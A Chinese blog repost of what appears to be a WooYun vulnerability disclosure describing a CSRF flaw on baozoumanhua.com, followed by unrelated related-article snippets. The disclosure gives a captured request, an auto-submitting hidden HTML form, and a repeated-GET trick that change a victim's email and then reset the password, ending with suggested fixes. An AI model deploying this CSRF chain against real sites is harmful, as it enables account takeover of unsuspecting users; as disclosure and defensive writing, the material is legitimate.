提交数据:
-----------------------------195704664324
Content-Disposition: form-data; name="utf8"
a??
-----------------------------195704664324
Content-Disposition: form-data; name="_method"
put
-----------------------------195704664324
Content-Disposition: form-data; name="authenticity_token"
FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=
-----------------------------195704664324
Content-Disposition: form-data; name="user[email]"
aaaxasa1@qq.com
-----------------------------195704664324
Content-Disposition: form-data; name="commit"
?????1é????±
这是有token的
接着我写一个表单
<form id="csrf" action="http://baozoumanhua.com/users/用户id" method="post">
<input type=hidden name="utf8" value="a??">
<input type=hidden name="_method" value="put">
<input type=hidden name="authenticity_token" value="FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=">
<input type=hidden name="user[email]" value="你的邮箱">
<input type=hidden name="commit" value="?????1é????±">
<script>
document.getElementById('csrf').submit(2881064151);
</script>
</form>
再点击发送激活邮件 抓包
GET:http://baozoumanhua.com/my/resend/用户ID
此时我将表单的 email 换成我的有效邮箱
接着打开并且抓包
直接提示修改成功 无视token
可以看到 先get访问了 a.htm 然后再post提交到 暴走漫画
现在邮箱改掉了 只需要 访问http://baozoumanhua.com/my/resend/8311358 就行
至于这个 做个弹窗到新窗口 弹到b.htm b.htm 用js写个每一秒GET访问一次
http://baozoumanhua.com/my/resend/2881064151
这时我被弹到了b.htm, 被弹到b.htm后会很多次get访问http://baozoumanhua.com/my/resend/8311358
接着我就收到了激活邮件
现在被激活了 就可以去http://baozoumanhua.com/fetchpass 发送一个重置密码邮件。
=。= 接着就可以改他的密码了
修复方案:
可以像上次那个漏洞一样 WooYun: 暴走漫画越权发暴漫作品(拿王尼玛帐号测试)利用打赏功能发财致富走上人生巅峰
把token带到 http头部 或者验证一下referer。
把token带到 http头部 或者验证一下referer的更多相关文章
-
vue拦截器实现统一token,并兼容IE9验证
项目中使用vue搭建前端页面,并通过axios请求后台api接口,完成数据交互.如果验证口令token写在在每次的接口中,也是个不小的体力活,而且也不灵活.这里分享使用vue自带拦截器,给每次请求的头 ...
-
Token:服务端身份验证的流行方案【转】
01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...
-
Token:服务端身份验证的流行方案
01- 身份认证 服务端提供资源给客户端,但是某些资源是有条件的.所以服务端要能够识别请求者的身份,然后再判断所请求的资源是否可以给请求者. token是一种身份验证的机制,初始时用户提交账号数据给服 ...
-
[PHP] - Laravel - CSRF token禁用方法与排除验证csrf_token的url设置
laravel5.1排除验证csrf_token的url设置 <?php namespace App\Http\Middleware; use Illuminate\Foundation\Htt ...
-
java EE : http 协议响应头部信息验证
一 location :***** 302 重定向 private void doWork(HttpServletRequest req, HttpServletResponse resp ...
-
golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息
golang学习笔记10 beego api 用jwt验证auth2 token 获取解码信息 Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放 ...
-
ASP.NET Web APIs 基于令牌TOKEN验证的实现(保存到DB的Token)
http://www.cnblogs.com/niuww/p/5639637.html 保存到DB的Token 基于.Net Framework 4.0 Web API开发(4):ASP.NET We ...
-
SpringBoot集成JWT实现token验证
原文:https://www.jianshu.com/p/e88d3f8151db JWT官网: https://jwt.io/ JWT(Java版)的github地址:https://github. ...
-
【tp5】表单验证之token
1.本场景仅介绍复杂一点的ajax请求带上token验证,普通的form提交不讲 2.原理仅个人理解,如有偏差 欢迎各路大神指点:框架tp5.0.18 目前将token放置于 ajax的header头 ...
随机推荐
-
java发送http的get、post请求[转]
原文链接:http://www.cnblogs.com/zhuawang/archive/2012/12/08/2809380.html package wzh.Http; import java.i ...
-
PHP中有关Session的函数比较多,最常用到的也就这么几个函数
php中的cookie与session技术详解 一.cookie介绍 cookie常用于识别用户.cookie是服务器留在用户计算机中的小文件.每当相同的计算机通过浏览器请求页面时,它同时会发送coo ...
-
Spark RDD Persistence
Spark最为重要的特性之一就是可以在多个操作(Action)之间,将一个或多个RDD关联的数据集(Dataset)以分区(Partition)为单位进行持久化(Persist)或缓存(Cache), ...
-
caffe简单介绍
从四个层次来理解caffe:Blob.Layer.Net.Solver. 1.BlobBlob是caffe基本的数据结构,用四维矩阵 Batch×Channel×Height×Weight表示,存储了 ...
-
c#抽取pdf文档标题(2)
public class IETitle { public static List<WordInfo> WordsInfo = new List<WordInfo>(); pr ...
-
【Swift】iOS裁剪或者压缩后出现的白边问题
只需要将所有的CGFloat转化为NSInteger即可 func imageScaleSize(newSize: CGSize) -> UIImage{ let width = NSInteg ...
-
swagger结合dubbo的rest服务测试
swagger结合dubbo的rest服务测试 背景介绍 我们应用的dubbo服务导出,可能没有直接的触发点去发起调用测试,除非自己手写controller和test类,缺乏一个动态工具,类似流行的s ...
-
Chrome部分站点无法启用Flash问题
## 69.0之前 ## 1. 打开 chrome://settings/content/flash 2. 禁止网站运行Flash -> 改为“先询问(推荐)” 3. 允许->添加 4. ...
-
len()
len() 用于统计序列的长度,字符串 .元组 .列表都属于序列 In [1]: str = "hello world" In [2]: len(str) Out[2]: 11
-
Python协程(下)
停止子线程 如果一切正常,那么上面的例子很完美.可是,需要停止程序,直接ctrl+c,会抛出KeyboardInterrupt错误,我们修改一下主循环: try: while True: task = ...